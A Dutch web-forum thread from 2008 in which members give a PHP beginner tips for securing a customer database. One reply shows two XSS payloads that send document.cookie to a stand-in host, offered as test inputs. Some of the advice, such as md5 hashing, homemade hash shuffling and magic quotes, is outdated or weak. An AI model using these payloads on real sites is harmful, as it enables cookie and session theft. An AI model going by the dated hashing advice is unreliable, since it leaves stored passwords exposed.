login  Naam:   Wachtwoord: 
Registreer je!
 Forum

Website SUPER goed beveiligen

Offline kenzo - 04/01/2008 09:10
Avatar van kenzoPHP beginner Hallo,

Ik heb een website gemaakt in PHP en MySQL.
Ik heb een website gemaakt met klanten en die worden opgeslagen in een database.

Hoe kan ik dat nu zo goed beveiligen dat ze er ECHT NIET in kunnen komen.

Dus dat hij helemaal waterdicht is?

Er staan gegevens in die niemand mag kunnen zien.

Vriendelijk bedankt!

51 antwoorden

Gesponsorde links
Offline tomie94 - 04/01/2008 10:06
Avatar van tomie94 PHP interesse -codeer de wachtwoorden md5.
-maak een moeilijk te kraken password en username. dus niet als username kenzo maar 1jk0kl4fm6 hetzelfde doe je met een password.(dit is voor je DB)

-zet je DB niet op de zelfde server als je website(localhost)
Offline Bart - 04/01/2008 10:13
Avatar van Bart PHP expert Tomie, beperk jij je nou maar tot je eigen dagelijkse problemen..
Want beveiliging kan je dus totaal niet.
Zorg dat je addslashes() om alle dingen heen plant die je in de db pleurt.
Offline Ch0coschijt - 04/01/2008 10:19
Avatar van Ch0coschijt HTML interesse je kan volgens mij beter PHP.net: mysql_real_escape_string() over dingen heen pleuren die in je database komen.

Offline kenzo - 04/01/2008 10:32 (laatste wijziging 04/01/2008 10:33)
Avatar van kenzo PHP beginner ik heb nog nooit met SSL gewerkt...

moet ik dan de hele site opnieuw maken in SSL of is dat gewoon iets dat ik kan aanpassen.


En hoe wordt dat opgeslagen?


Bedankt!



OWJA, de website staat wel op de zelfde host... het is gewoon webruimte van een bedrijf en niet op m'n eigen server ofzo?
Offline Bart - 04/01/2008 10:37
Avatar van Bart PHP expert Forget about that, tomie loopt weer te raaskalken
Offline ikkedikke - 04/01/2008 10:37
Avatar van ikkedikke PHP expert je kan niet zomaar met 1 magische functie je website veilig maken. Je kan beter zorgen dat de structuur van je database zo in elkaar zit dat je al die rommel niet nodig hebt.
Daarbij helpt om zo veel mogelijk met numerieke parameterwaardes te werken. Dus in plaats van naar een profiel verwijzen met ?naam=jan gewoon ?id=3. Getallen hebben namelijk nooit een onverwachte speciale betekenis.
Offline wes - 04/01/2008 10:38
Avatar van wes PHP interesse Ik zou md5 niet nemen, want dat is ooit gekraakt. En een beveiliging is NOOIT waterdicht, er kan altijd wel een of andere superbrein doorheen komen.
Offline kenzo - 04/01/2008 10:40 (laatste wijziging 04/01/2008 10:41)
Avatar van kenzo PHP beginner ik gebruik zowiezo geen profielen zichtbaar op de site en in het beheer roep ik ze aan met inderdaad id=44 ipv id=piet ...

Je moet ingelogd zijn om gegevens te kunnen bekijken, en je moet een eigenaar zijn (status hebben).

Gewone klanten kunnen dus geen profielen zien (ook niet die van zichzelf).

Daarbij heb ik zowiezo de mappen beveildigd met "Geen index") (weet niet of dat wat uitmaakt), en de wachtwoorden heb ik (wel met MD5) gezet.


Hoop dat dat wel "Veilig" genoeg is?
Offline Flex1986 - 04/01/2008 10:49
Avatar van Flex1986 Gouden medaille

Senior Member
Alles is te kraken ;) De enigste manier om je wachtwoorden veiliger opteslaan is om zelf een kleine algoritme erachter te schrijven.

Bijv

sha1(md5(wachtwoord));

substring 1 tm 20
substring 25 tm 40

enz en die dan gaan husselen dus substring1 op plaats 4 en 2 op 1 enz. Op die manier is er als je database wordt gekraakt er geen wijs meer uit te worden.
Offline kenzo - 04/01/2008 10:57
Avatar van kenzo PHP beginner is er ook een manier om de klantgegevens op te kunnen slaan op een soort externe harde schijf...

Dat dus echt nooit iemand aan de gegevens komt? (het lastige wordt dan bestellen en in de winkelwagen plaatsen)...

?
Offline ikkedikke - 04/01/2008 11:01 (laatste wijziging 04/01/2008 11:01)
Avatar van ikkedikke PHP expert gebruik nooit constructies als functie(functie()) om iets veiliger te maken. Dit maakt het cracken juist makkelijker.
Iedere verhashende functie heeft last van collisions. Dit zijn verschillende invoeren die dezelfde uitvoer hebben.
Wanneer je dus bijvoorbeeld 2 keer md5 over een string heen haalt krijg je het volgende.
Voor de uitvoer in de database zijn voor de laatste md5-berekening bijvoorbeeld 40 (Onzingetal, maar het is een voorbeeld). Voor iedere van die 40 invoeren zijn er dan bijvoorbeeld 40 invoeren. Er zijn dus opeens 1600 wachtwoorden goed voor die uitvoer.
Een manier die wel veiliger zou maken is door bijvoorbeeld md5(wachtwoord).sha1(wachtwoord). Wanneer iemand hier een collision probeert te vinden zal die een collision in md5 en tegelijk in sha1 moeten vinden.

edit: De computer moet dan wel weer toegang hebben tot die schijf. Maakt dus niet echt uit.
Offline kenzo - 04/01/2008 11:03
Avatar van kenzo PHP beginner Hoe veilig is het eigenlijk wat ik heb?

Kan er door bv een simpele code in de adresbalk iets worden gedaan, of bekeken, of is er toch heel wat werk voor nodig om alleen het aantal waardes in een database te vinden bijvoorbeeld?


Hoe makkelijk of moeilijk kunnen waardes worden bekeken?
Offline finduilas - 04/01/2008 11:07
Avatar van finduilas PHP gevorderde Moeten zij waarden in de database plaatsen? Kunnen ze producten,... zien uit de database?

Indien ja, Dan moet je zorgen dat er geen UBBhacks, mysql-infections zijn. Indien dit mogelijk is is je website zo lek als een zeef anders wordt het al moeilijker.
Offline Vincjenzo - 04/01/2008 11:07
Avatar van Vincjenzo Nieuw lid Heb nog wel wat tips:
- zet je directory index uit, als mensen dus naar http://www.domein.nl/map/ gaan ze niet alle bestanden zien.

- maskeer welke webserver je hebt draaien, een portscan op port 80 zou normaal bijvoorbeeld Apache 2.xx teruggeven, dit is nog meer informatie voor een potentiele aanval.

- Misschien kan je magic quotes aanzetten, kan helpen tegen SQL injecties geloof ik.
Meer over magic quotes (engels)

- Als je software geschreven door andere gebruikt (phpbb ofzo.. ) zorg dan dat je de laatste versies hebt, er kunnen nou eenmaal lekken in worden gevonden.

- Als je invoer ook laat zien in je uitvoer, gooi er dan htmlentities overheen, zodat ze geen javascript of iets gaan invoeren.

Zitten dingen tussen die je misschien niet kan regelen, dat is dan jammer.
Offline kenzo - 04/01/2008 11:10
Avatar van kenzo PHP beginner ik heb de code geheel zelf geschreven, dus weet niet of het dan zo makkelijk is.

@finduila: Zij moeten helemaal niets plaatsen in de database, alleen dingen bekijken (uit de database).

Verder kunnen zij wel dingen in de database toevoegen door op bestellen te klikken, maar dat is gewoon 1 knop, en verder kunnen ze geen tekst invoeren.

En hoe weet ik of UBBhacks en mysql-infections er zijn, of hoe ik ze kan verhelpen?
Offline gothmog - 04/01/2008 11:13
Avatar van gothmog Lid Probeer bruteforce tegen te gaan. Bijvoorbeeld:
- Maximaal 5x een verkeerd wachtwoord in 10 minuten.
- Na het drukken op de submit knop en voor het controleren van het wachtwoord een sleep() zetten bijv. sleep(1). Het kost de klant slechts één seconde extra. Maar een bruteforce attack erg veel tijd.
Offline kenzo - 04/01/2008 11:15
Avatar van kenzo PHP beginner en hoe kan ik dat doen dat er maximaal 5 keer ingelogd kan worden in 10 minuten?

ergens de keren opslaan in een database of is dat dan ook onveiliger weer met database?

en hoe moet ik sleep(1) zetten? (bij welke query ofzo)?
Offline kenzo - 04/01/2008 11:17
Avatar van kenzo PHP beginner jah, bij mij ook... al heb ik nu wat probleempjes op werk

Het moet zo beveiligd zijn dat geen klantengegevens versprijd kunnen worden
Offline gothmog - 04/01/2008 11:18 (laatste wijziging 04/01/2008 11:51)
Avatar van gothmog Lid @kenzo:

Teller zou je inderdaad een database kunnen gebruiken en voor de snelligheid een sessie.
Stel dit is je code:
  1. <?php
  2. if(isset($_POST['submit']))
  3. {
  4. $username=blabla;
  5. $password=md5(blabal);
  6. sleep(1); //hier dus of nog eerder
  7. $select=mysql_query() or die(mysql_error()); //hier dus checken enzo
  8. //sessies zetten ezno
  9. }


Als een moderator die korte nutteloze discussie nou even verwijdert:p

Citaat:
PieterC Edit: gebeurd.
Offline kenzo - 04/01/2008 11:20
Avatar van kenzo PHP beginner Als succesvol is ingelogd worden cookies geplaatst...

kan het er daar dan onder ( na de cookie)
Offline gothmog - 04/01/2008 11:21
Avatar van gothmog Lid Nee dan heeft het geen zin, het moet juist bij het NIET succesvol inloggen.
Dus niet als hij al ingelogd is...
Offline kenzo - 04/01/2008 11:27
Avatar van kenzo PHP beginner er wordt gecontroleerd of de gebruikersnaam is ingevuld, zo niet
-> fout melding + sleep(1);

er wordt gecontroleerd of de gebruikersnaam voorkomt in de database, zo niet
-> fout melding + sleep(1);

er wordt gecontroleerd of het wachtwoord bij de gebruikersnaam hoort, zo niet
-> fout melding + sleep(1);




goed zo, bij alle 3?
Offline kenzo - 04/01/2008 11:31
Avatar van kenzo PHP beginner hoe kan ik een UBBhack proberen, of kijken of hij hem niet doorlaat ofzo?

en een mysqlinjection (of zoiets?)
Offline lemoinet - 04/01/2008 11:31
Avatar van lemoinet PHP gevorderde maak een aparte user voor mysql aan. één die alleen kan inserten, selecten en updaten.
en moet er dan al eens iets gedeleted worden, maak dan een extra kolom aan met een waarde 0 of 1
Offline kenzo - 04/01/2008 11:37
Avatar van kenzo PHP beginner en wat heb ik daar dan aan?
Offline DMM - 04/01/2008 11:40
Avatar van DMM PHP beginner
Citaat:
en wat heb ik daar dan aan?

Extra beveiliging. Gewone users kunnen je tabel niet verwijderen/leegehalen
Offline Koen - 04/01/2008 11:42 (laatste wijziging 04/01/2008 11:59)
Avatar van Koen PHP expert Hmmm, was die mens4ever niet geband ofzo?
Wel, in ieder geval, bij ALLES wat mensen IN je database stoppen, en dat er weer terug uit moet, zowieso een PHP.net: htmlentities of PHP.net: htmlspecialchars erover doen, ook bij gewone dinge zoals zoekopdrachten, test maar eens wat er gebeurt als je zoiets invuld:
  1. <script>self.location.href='http://evil.site.com/stealcookies.php?cookie='+document.cookie;</script>
  2. <!-- Denk maar niet, ik zet het gewoon als value van een input veld: -->
  3. "></form><script>self.location.href='http://evil.site.com/stealcookies.php?cookie='+document.cookie;</script>

Citaat:
PieterC Edit: Nu is mens4ever gebanned. Blijkbaar is het een kindje die proxy ontdekt heeft. Eerst was hij mensisback.
Offline kenzo - 04/01/2008 11:48
Avatar van kenzo PHP beginner en er gebeurd niets met de waarde he als ik htmlentities of htmlspecialchars invoer?

Als ik piet invul wordt dat dan htmlentities(piet), maar de uitvoer blijft piet?
Offline Bart - 04/01/2008 11:51
Avatar van Bart PHP expert Duh, htmlentities zijn om tekens zoals "<" ">" e.d. te vervangen.
Offline kenzo - 04/01/2008 11:52
Avatar van kenzo PHP beginner ok, maar verder is de site goed beveiligd? (als ik dat erbij zet)?
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.327s